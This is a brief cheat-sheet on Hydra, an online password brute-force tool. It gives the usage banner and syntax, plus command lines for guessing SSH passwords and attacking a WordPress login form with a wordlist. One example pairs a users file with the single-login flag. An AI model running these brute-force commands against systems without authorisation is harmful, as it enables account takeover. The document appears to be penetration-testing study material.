Unlike john or hashcat that crack passwords offline hydra is an online brute force tool

Usage

Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Syntax: hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-W TIME] [-f] [-s PORT] [-x MIN:MAX:CHARSET] [-c TIME] [-ISOuvVd46] [service://server[:PORT][/OPT]]

hydra basic usage requires a username, password, target & protocol. As you can see from above you can specify files containing usernames and/or passwords.

hydra -l bob -P /path/to/word/list.txt target ssh
hydra -l users.txt -p summer2021 target ssh
hydra -L users.txt -P /path/to/word/list.txt target ssh

Wordpress

To brute force wordpress with hydra we can use the below

hydra -l username -P /path/to/word/list.txt target -V http-form-post '/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log In&testcookie=1:S=Location'